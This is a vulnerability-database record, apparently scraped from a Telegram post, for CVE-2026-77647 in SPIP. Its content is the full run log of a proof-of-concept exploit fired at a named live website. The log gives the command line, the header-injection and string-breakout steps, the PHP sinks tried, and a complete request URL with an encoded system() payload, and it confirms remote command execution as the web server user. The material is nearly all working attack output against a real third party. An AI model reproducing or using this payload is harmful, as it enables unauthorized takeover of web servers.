{"uuid": "1bbd0102-56e4-4f4b-bb8d-b22d98c1f766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/490", "content": "python poc2026-77647.py --host https://inta.org.ua/ --command \"whoami\"\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-77647\n  Type: RCE  |  Target: inta.org.ua:443\n============================================================\n\n[STEP 1] Entry point: https://inta.org.ua:443/spip.php\n[STEP 2] Command to run: whoami\n[STEP 3] Injecting X-Spip-Filtre through the var_export'd template environment\n[STEP 4] Breaking out of the string literal with an early ?> plus HTML entities\n\n  page=404         sink=system()   -> no command output\n  page=404         sink=passthru() -> no command output\n  page=404         sink=shell_exec() -> no command output\n  page=sommaire    sink=system()   -> no command output\n  page=sommaire    sink=passthru() -> no command output\n  page=sommaire    sink=shell_exec() -> no command output\n  page=recherche   sink=system()   -> executed (2 copies)\n\n[STEP 5] Command output recovered from the response body (2 copies, one per environment splice)\n\n--- COMMAND OUTPUT ---\nintakiev\n---\n\n\n--- EXECUTION DETAIL ---\nentry page : recherche\nphp sink   : system()\nhttp status: 200\nurl        : https://inta.org.ua:443/spip.php?page=recherche&p19223b85=%3C%3Fphp+header%28%21X-Spip-Filtre%3A+filtrer_entites%21%29+%3F%3E&pb9a3a916=%3F%3E%26%2339%3B.system%28base64_decode%28%26%2334%3BZWNobyBkNDUyYjQwMzJhMmM7IHdob2FtaSAyPiYxOyBlY2hvIDJjNmRjYjVlYzk2Yw%3D%3D%26%2334%3B%29%29.%26%2339%3B\n---\n\n\n============================================================\n  RESULT  : SUCCESS\n  EVIDENCE: RCE confirmed - command 'whoami' executed as the web server user: intakiev\n============================================================", "creation_timestamp": "2026-08-27T19:00:05.370111Z"}